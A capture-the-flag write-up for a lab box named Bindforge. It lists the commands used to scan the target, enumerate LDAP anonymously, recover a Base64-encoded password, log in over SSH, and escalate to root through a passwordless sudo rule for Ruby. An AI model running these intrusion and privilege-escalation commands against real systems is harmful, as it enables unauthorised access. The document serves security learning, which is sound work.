Bindforge
✓ SOLVEDRatCTF — Anonymous LDAP → Credential Disclosure → SSH → Privilege Escalation (Ruby)
Overview
Bindforge permitted anonymous LDAP enumeration. A directory attribute exposed a Base64-encoded temporary password, which provided SSH access as labuser. A passwordless Ruby sudo rule then provided root.
Recon — High-Port Services
The challenge advertised LDAP on TCP 32405 and SSH on TCP 32239. An explicit scan confirmed both services.
nmap -sC -sV -p 32405,32239 173.230.128.67LDAP Enumeration — Correct Base DN
An initial search against the illustrated base DN failed with No such object. Querying Root DSE revealed the real naming context: dc=lab,dc=local.
ldapsearch -x \
-H ldap://173.230.128.67:32405 \
-s base -b "" namingContextsldapsearch -x \
-H ldap://173.230.128.67:32405 \
-b "dc=lab,dc=local" \
"(objectClass=*)"labuser description field contained a Base64-encoded temporary password. Base64 was encoding, not protection.Foothold — SSH as labuser
The recovered credential authenticated against SSH on port 32239.
ssh -p 32239 labuser@173.230.128.67
cat user.txtflag{[REDACTED]}Privilege Escalation — Ruby
sudo -l showed that labuser could execute /usr/bin/ruby as root with no password. Ruby was used to launch Bash as root.
(root) NOPASSWD: /usr/bin/rubysudo /usr/bin/ruby -e 'exec "/bin/bash"'
cat /root/root.txtAttack Path
Both flag values are redacted in the public page and screenshots.